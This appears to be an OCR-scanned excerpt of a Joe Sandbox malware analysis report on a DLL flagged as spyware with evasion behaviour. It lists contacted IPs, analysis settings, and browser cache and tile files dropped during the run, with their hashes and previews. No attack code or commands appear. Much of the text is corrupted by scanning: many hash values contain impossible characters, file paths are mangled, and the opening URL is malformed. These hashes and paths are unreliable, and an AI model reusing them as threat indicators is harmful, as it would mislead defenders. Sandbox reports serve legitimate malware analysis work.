http://https://www.google.com/p4ieagEqbwAstfnrvwzi8QHdf1ufklusi/ false high

Contacted IPs

Public
P Domain Country Flag ASN ASN Name Malicious
104.26.2.70 ad-delivery.net United States = 13335 CLOUDFLARENETUS false
34.117.59.81 myexternalip.com United States = 139070 GOOGLE-AS- false
APGoogleAsiaPacificPtelLtd
SG
162.219.225.118 Www-amazon- United States = 15108 ALLO-COMMUS false
com.customer.fastly.net
104.20.184.68 geolocation.onetrust.com  United States = 13335 CLOUDFLARENETUS false
142.250.185.196 www.google.com United States = 15169 GOOGLEUS false
161.35.29.127 unknown United States = 14061 DIGITALOCEAN-ASNUS false
172.67.70.134 btloader.com United States = 13335 CLOUDFLARENETUS false
142.250.186.70 dart.l.doubleclick.net United States = 15169 GOOGLEUS false
_—_—__-
87.248.100.216 new-fp- United Kingdom 34010 YAHOO-IRDGB false

shed.wgl.b.yahoo.com

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 492040

Start date: 28.09.2021

Start time: 09:51:36
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Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 16m 24s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: TWsmloYqC6.dll
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 45
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.spre.spyw.evad.winDLL@67/122@16/10
EGA Information: Failed
HDC Information: e Successful, ratio: 93.1% (good quality ratio 74.4%)

e Quality average: 56.6%
e Quality standard deviation: 37.4%
HCA Information: e Successful, ratio: 100%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .dll
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description
09:53:13 API Interceptor 157x Sleep call for process: rundll32.exe modified
09:53:36 API Interceptor 120x Sleep call for process: svchost.exe modified

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context
Dropped Files
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No context

Created |/ dropped Files

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\DOMStore\EZ5F301D\www.msn[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with no line terminators

dropped

152

5.1549521629664525

false

3:D90aK1ryRtFwsx6wmxvFugLHIfWEYPJIGX7T40AAet6 XTUvX8qSiwKb:JFK1rUFkdugswEkIXH40AAeQDUVIOb
A5CCD5A73CF710160863CB8D0758C38E

0637BC5EAO0DBOB04BD977C87E9F2C89B03F19490
CC850CDOB6CYA5E16063A7B09501446FFF4A3D791CBFD130247F2922EDD53347
781DE6CBB57AC61E36624B37617BB992E577922BD1D8F73FE46A31A5B773039F0264883309DAF11C3AD277244F3C25553859AADD340F36CD3B1BDFA815DD3A7
false

unknown

<root></root><root><item name="BT_AA_DETECTION" value="{&quot;ab&quot;:false,&quot;acceptable&quot;:true}" Itime="1105261792" htime="30913673" /></root>

C:\Users\luser\AppDatal\Local\Microsoft\Internet Explorer\DOMStore\U6Q9DNZ4\contextual.media[1].xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

2988

4.920093959451645

false
48:0d7d7d7d7L7LI7L7LY7L764767647a7a7atj6j7atX6Z7atX6Z7atX6Z7atX6Z7C:Qxxx33J33Y304004WWWHj6]WtX6ZWtX7
F9639D678E479BFEAC76519A4894C997

29531FC92B12751E59986983BCOBAE1269416F5E
F7261927EF250A938AE8F8958517583F9B5EE08D8D2D347F254B69AEE6FCCE8E

03E7C7B8DYACI92AFAB3299E648F6847BFD500FBCAB8965D2FDDA12A198A3D55ACBB72885F970838E13AF33CB2F3A37E363B4F2EC5BC477C35B268F0C10F5D1
5

false

unknown

<root></root><root></root><root><item name="HBCM_BIDS" value="{}" Itime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}"
[time="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" Itime="1081741792" htime="30913673" /></root><root><item name="H
BCM_BIDS" value="{}" Itime="1081741792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" Itime="1082261792" htime="30913673" /></root>
<root><item name="HBCM_BIDS" value="{}" Itime="1082261792" htime="30913673" /><item name="mntest" value="mntest" Itime="1082261792" htime="30913673" />
</root><root><item name="HBCM_BIDS" value="{}" time="1082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" time="1082261792"
htime="30913673" /><item name="mntest" value="mntest" Itime="1085261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" ltime="1
082261792" htime="30913673" /></root><root><item name="HBCM_BIDS" value="{}" Itime="1088741792" htim

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{79FEA630-207C-11EC-90E9-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

24152

1.7546387760198097

false
96:ryZIZkN2kQzWkQC6tkQCifkQCfUVtkQCfU+ULz3WKQCFUYU+Uj:ryZIZk2fWRtpfauta9gz3W8HIK
A3D71F891000F66118C24EASEEE36A3D

ES5CBE91BF6C036E64C42F092F753A8057B797028
B823EOE3C4A19797A640C197C79248864B5BE79DF418E273075ED175101C466B

39F3BDE2FD51E14A1938D432AA52E62242225B0189796AAAC318821A461B2837C9A9BCADFA2F2BEBC8CC847DB2D42C4145F0555AAB1D90ABD7C0O77FOEBAT2E
A7

false

unknown

.R.0.0t. .E.ntr.
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{79FEA632-207C-11EC-90E9-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Microsoft Word Document

dropped

199628

3.584384950073997

false

3072:tZ/2Bfcdmu5kgTzGttZ/2Bfc+muskgTzGtf:020
4C1050C5AD13CD3DE3A66B4DCD925240
5887387A4AD5DBF2ACA214FFOC07B7B33893FB2D
577EA43837FF5D5844E3C97F4A90F4101F00C895423277F041A356A3FFD71A5D
829B7063713EE30C78847EB41A4B6C404EDE27A91F555A74A224DC10EE381C619764A0DDE33E259B180C83BC72562456D86A09F776BFEA821BESAC73183C9B5
false

unknown

.R.0.0t. .E.ntr.

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet exploreniexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.144879013296989

false

12: TMHdNMNXOETM/4nWiml002EtM3MHANMNXOETM/4nWimI00ObVbKEtMb:2d6NxO34SZHKA6NXxO34SZ76h
8CBCO6CE38952B039B3B4A8BIF5013CB

0E352BA691B73196D83100C18ADD4D312DB7D68D
D3B6CD9749A368109D275AFB843C224FA4F34B22533F200E6293778401BE9SEQ
811F334B19A2E6865ADE3C9B47DBOFF76B2BC2F22562482F76C2A115COEEAFCBAB44DA12E77213A9549462733760CBF67339A3A1A94B62C1265BABF16726F69¢
false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x51c8942f,0x01d7b489</date><
accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0
x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile
></msapplication></browserconfig>..

C:\Usersl\user\AppData\Local\Microsoft\internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.127819674489357

false

12: TMHdNMNxe2k2yC4nWimI002EtM3MHANMNxe2k2yC4nWimI000bkak6EtMb: 2d6NxrVyC4SZHKdENxrVyC4SZ7Aa7b
610389C365DA61ACBE430DB621C4EGE3

AEF146CDEAB290493163C83ADAAC0A9412A21348
FDAOCO0OEF49170A10965DDB42057C6158E6269D7921B7C37840B72DA03E7338B
3A5AD495914492A286207882F1D125D8180DB34C70335938BDIESC43DFF042A3E9B47D737EEE04E9C38BF463525D9DACC58D49F68E804672042DFC579916F317
false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x51bfObc7,0x01d7b489</date><a
ccdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0x51bfObc7,0x01d7b489</date><a
ccdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
dropped

662

5.164425576583077

false
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

12: TMHANMNxVLTM/4nWiml002EtM3MHANMNxVLTM/4nWiml00ObmZEtMb:2d6Nxvs4SZHKd6Nxvs4SZ7mb
72E93B55992F15BF2A93FDF69E2D5ABD

9A82B097386FBBB847F9447EOED97C6FD53CF6C7
CD2565A355B16910FADOE299EOACB53AF98C07BBCCEFA19513CD3B7407E3D857

BFF6B57BD09CAEA3AA7S6EEE26D3A8D1E3879B02964D5140DFD412D1119704AFCC251699DBA0FDAC7A4E518A5BO0FCEGSAC44B7AC31249DF017A82A377420°
5A

false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x51c8942f,0x01d7b489</date>
<accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0x51c8942f,0x01d7b489</date><accda
te>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Wikipe
dia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

647

5.1206836817680195

false

12: TMHdNMNXxi2yC4nWiml002EtM3MHdNMNXxi2yC4nWiml000bd5EtMb:2d6NxLyC4SZHKA6NXLyC4SZ7Jjb
D2E5A3047A056FBCDBE34AE6B98BF8C2

AB84D267DE314C4115B8A83169C01EE7F88CBC71
90A0A32315D447509B40F8E9IBOE38D86AAODSFC2D454C7749604F6342624E266

8CEDD558CA6569C0D64F10E62FB7D650E0B1183E95C08EDGE6C3A9D8A6D28AC7A7CB56D2AFDDB305C402C7FFA32790DAE473F8C6973048EAGABLIGECT7738F4
2F

false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x51bfObc7,0x01d7b489</date><acc
date>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?xml
version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0x51bf0bc7,0x01d7b489</date><accdate>0x51bf0
bc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppData\Local\Microsoftlinternet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.1759795128458626

false

12: TMHANMNxhGwWTM/4nWimI002EtM3MHANMNxhGwTM/4nWiml00Ob8K075EtMb:2d6NxQz4SZHKAENXQz4SZ7YKajb
833B95B325BA7666E4201C3D9D369D89

9C28714EE9803CBBB8895E1F59D14828EB39C72A
0F625E70D3F3BE464AB117B0D7DABB43C5DF1413ACE8CDD3276490E66503B051

8FBAEDED762A64A6E38CA4FD77A741718CC06A6222330BF21534F93B33EBE3A191424DFC334DFF4EEC121D0F1FAF011148A49DB2BE76DB2E700D1E25DB278C
F6

false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x51c8942f,0x01d7b489</date><
accdate>0x51c8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x51c8942f,0x01d7b489</date><accdate>0
x51¢8942f,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/>
</tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.1079981909506555

false

12: TMHdNMNx0n2yC4nWimI002EtM3MHdANMNx0n2yC4nWimI00ObxEtMb:2d6Nx02yC4SZHKd6Nx02yC4SZ7nb
AF6FDOF01D6DE4F94E2BA27586B02DD4

EDOC18E2269DD482F8165FB64AF2FCB02A5801EC

Copyright Joe Security LLC 2021 Page 16 of 149



C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

4367844F79408F0193EC583F0237D492AA1CE104E423EDO7F557D4044137B641

C9131FCA9A632D83C97AAS686824A6E8F048857A758BDE4FB6F75FAFAEEBF696A76001C5D68D9FCC2C8C2955D61F1A5858F7874B06E7921173BCOEFC7ES914F
B

false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x51bfObc7,0x01d7b489</date><a
ccdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0x51bfObc7,0x01d7b489</date><accdate>0x5
1bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

656

5.145203127280042

false

12: TMHANMNxx2yC4nWimI002EtM3MHANMNxx2yC4nWiml000Ob6Kg5EtMb:2d6NxlyC4SZHKd6NXIyC4SZ70b
9ABF53D72AF96A985D0C5CD945C3643B

C889C7B201EED08F186573B20177EF1F89680991
22A48AABEE423F89D3062273F2B2A0A45CDD636E62DB883650CEIEBEF28BD40B

D6DBFBBF3254FDC116B2FFF7CE877257B56EA94FOEOEESF6A8D7DDBD7D25B0CA4853F9395618ABB099B6CC6FC28D8FE751F40BE2B1B4BC4E21B40F329365A
A5D

false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x51bf0bc7,0x01d7b489</date><
accdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0x51bfObc7,0x01d7b489</date><accdate>0
x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\NYTimes.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

659

5.116558085772909

false

12: TMHANMNxc2yC4nWiml002EtM3MHANMNxc2yC4nWimI00ObVEtMb:2d6Nx9yC4SZHKd6Nx9yC4SZ7Db
6E41A892C49BOE3EC1B40DC051428493

52EEDF57F5DAA3442609546212600B1791FB4672
3840B7C5F721E210DE1727FB267DEDF690121F2242D43D492ACF23E310B19BF4
1FE9E532C143AE54C3540B638137ECF56043DEFA4CA0528977DAB4A81AFB796B3F377E697588E9D904E3BCDD600660B0099A9D1698301BD127D0440941284237
false

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x51bfObc7,0x01d7b489</date>
<accdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x51bfObc7,0x01d7b489</date><accdate
>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook
.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

653

5.106259407142566

false

12: TMHdNMNxfn2yC4nWiml002EtM3MHANMNxfn2yC4nWiml00Obe5EtMb:2d6NxeyC4SZHKd6NxeyC4SZ7ijb
AFC58F13457F89B373A9879F82F17FC3

FD46B449F73CD060330C6780A59D4F2246B5F174
44CE91262B5AA0216A918D91743DDAED4A6011E90F7049BCDADC879F34DFO1EE

9ABDE75F68EACDBA4B7E3EB916BE7F592106E7B0742564F798B4BD2D2F62BA83F97109703A82EBFI06E107937DD37794F2B9737AFC6BA454E82A3CDALAT7412A
A

false
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Reputation:

Preview:

unknown

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x51bfObc7,0x01d7b489</date><a
ccdate>0x51bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig>..<?
xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0x51bfObc7,0x01d7b489</date><accdate>0x5
1bfObc7,0x01d7b489</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Google.url"/></tile>
</msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet ExplorerliimagestorelynfzOjx\imagestore.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

data

dropped

934

7.0273324619664885

false
24:u6tWaF/6easyD/iICHLSWWqyCoTTdTc+yhaX4b9upGa:u6tWu/6symC+PTCqg5TcBUX4bl
BASE7DD56CEC403F67CE245BB1929C5E
20EA41E79098C51B637A92E9B80BBI660A6465E0
A2AEF948CF1C7FF2FACEEAA2FBC14BD94CA6BIC09F46BDA5CBA619D82A867062

ADC17ABC439FD9F9387F592742B7EBA2DOBCA6473D9554AB8F082AFBI6BE491A2CBBAE07D659CA089522204D2B7BF88774754753B4F504B79A4A9A170A7D90L
A

false

unknown

E.h.ttps..//static.-g.lob.al-s.-ms.n.-com.akamaized.netlhp.-neuls.cl2b/a5ea2l..ic.o...PNG..... IHDR... ... e PHYS. .o
VPAG... co. e elDATH...0.@../..MT..KY..PI9"...:UjS.T."P.(R.PZ.KQZ.S. ....,v2/ .. .9/t . K.;_}...~.0K.i;.B..2..C..B.......<..CB.....).....;..Bx.2.}.. ._>W!.%B.{.d...
LCgz..jl.7D.*M.*............. "HK..j%.!DOf7......C.]._Z.f+.1.1+.;.Mf...L:Vhg..[.. .O:..1.a....F..S.D...8<n.V.7M....cY@....... 4.D..kn%.e. A.@IA.>\.Q|.N.P........ <.l.ip..y.U..J..9
..R.mgpiwn.f4$. X E.1.T..2.... . wz..U.../[...z..(DB.B(...-~........ B.=m.3...X.p.Y.... w..<.........8..3.;.0....(..1...AL6f.g.xF..7Th.Gmq]|....gz_Z..x..0F".......... X.=Y}LT.R.....

XHSa...XHSa....

.72w/...Bh..5..C...2.06"........ 8@A..."zTXtSoftware..x.sL.OJU..MLO.JML.../....M....IEND.B". ... ..

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\55a804ab-e5c6-4b97-9319-86263d365d28[1].json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

2955

4.796538193381466

false

48:Y9vIgmDHF6Bjb40UMRBIvdiZv5Gh8aZa6AyY AmHHPK5JKIcFerZjSaSzjfumjVT4:0ymDwb40zrvdip5GHZa6AyQshjUjVjx4
8FCB3F61085635194CE5A73516DE39F9

4EF7BB8362EE512BD497C48C168085738EE010C3
CEC95B7811CBF927FD338529A08F6B1BBF12F5B78459D07D15DE92C60C12DD64
DB60AF665E02724F527C6781396105C456E56D23691A64F57BDD452C0568EF43DE36F63D8B18702A5C5A6FA29C9C16CD6ADEBB74E28BA94AF7291EAC3095861
false

unknown

{"CookieSPAEnNabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"Mobile SDK":false,"SkipGeolocation":false,"ScriptType":"LOCAL","Version":"6.4.0","Opta
nonDataJSON":"565a804ab-e5c6-4b97-9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location”,"RuleSet™:[{"Id":"6f0cc
a92-2dda-4588-a757-0e009f333603","Name":"Global","Countries™:["pr","ps","pw","py","qa","ad","ae","af","ag","ai","al","am","ao","aq","ar","as","au","aw","az","ba","bb","rs
""bd", v, bf",rw,"bh,"bi", "bj","bI","bm","bn","bo", "sa","bg", "sh","sc", "br","bs", "sd", "bt","sg","bv","sh","bw", "by","sj","bz","sI","sn","s0" "ca","sr","ss","cc", "st", "cd", "sv","cf","cg
""sx","ch","sy","¢i","sz","ck","cI","em","cn", "co", "tc", "cr", "td", "cu" tg","cv","th","ew","ex","tj", "tk","tl", "tm", "tn", "to", "tr", "tt", "tv", "tw", "dj","tz","dm","d0","ua", "ug", "dz","um
c","eg","eh","uy","uz","va","er","vc","et","ve","vg","vi","vn","vu","fi","fk","fm","fo","wf","ga","ws","gd","ge","gg","gh

st rect

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\AAKrmUXx[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
dropped

10612

7.944641469484935

false

192:QoMgxuQHDIuelf0Q3mlI6Hrsul18YXNgXcKtYKy5c37hLYiCu:b9DlueF/sAD8XES5crqi5
122F873C3ED9E1BB7A095D1800E6B799

3A70F24BOFAB9BA29DDDFCA4CCBET7F49549E3BF5E
68B3BF50A936EC49AB3F80CAB38FCCC461D4C2FOFAFFOEGSE3FF33B11ABEE4ADA
F27C961FF5AAEGEDA4C6615460C7E45164FADA14B14923606EA51F4B76DB286170A46BE4E7581E8AE0731D49F2834E74F760BB226477194F029CEB38ABF72F222
false

unknown

Copyright Joe Security LLC 2021 Page 18 of 149



C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellIE\OW10PBUV\AAKrmUXx[1].jpg

Preview:
...... JFIF.0 e 2 )100)-,3:13>36F7,-@WAFLNRSR2>ZaZP JQRO.......&..&05-5000000000000000000000000000000000000
00000000000000. JoJ1ALQag. 2. #BLLR..$3bT ... %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz........

?.t#w=.8!.|...dp...Bz..c....1.l.U.b...b....... Bv.Np=..Vk.Y&.Ue.8,0.EKh...uh.Pah. F....F.l,.......1&.a;...q.#,#..x.._g...

2_ 6..94..%.c...%. #...&. 1#.H
J.L.@..1@....p9<P.w..8......9..y..V|....c2{..s...

...Ar.N.g.a..?2.qQv[:.>.96.....y..Q].W1.&.-....y....T..1lvg:#0.H".zv.".).w#X.].b....q.B.Pex>...Ws..jn.....b..p..s.+..u.W. X.L.H.T.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAOPFQ6[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 310x166, frames 3
Category: dropped

Size (bytes): 7183

Entropy (8bit):  7.886954152565244

Encrypted: false

SSDEEP: 192:QnTjmzky22dD/K8a2kgSasJar8Us3W6522QeWh4uqukxnULXA:03mAy2ia2ZssYUs37522Ql4uMtaQ

MDS5: DC08359372F94190B3D6A680E688AA93

SHA1L: 8F78222C4BF1538B6E2109EC51A8AC6B8879FA9C

SHA-256: 27248A8155F038FE47715B16F3E44376E5A97E9ATE2FF8B6011E9707BC875E5D

SHA-512: 68445BF2DA94C44D1FAAF2CBOEF85CC7BF784E65D556B6E47C552ABAC88E9503A651FBEA67CB2F87CCF648222522C4FAF7095EB8FECF30C50907E9F56232FB
C

Malicious: false

Reputation: unknown

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000000O0O00OO0O0000

.0 TNLB]~..(VW.&.@0J.)w5|....e...N>_.
.0..5.i&..BJ.j...U...v.0@.RBa...0Y.g...u5....[..."....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\OW10PBUV\AAOPLxm[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 9185

Entropy (8bit): 7.916314058922854

Encrypted: false

SSDEEP: 192:QouMCSVWbWPgVEOVHHNNQGacqPkJIQL+W2pkbtzZW5W4:b11WbWPYVNnO68P/+Zkx6D

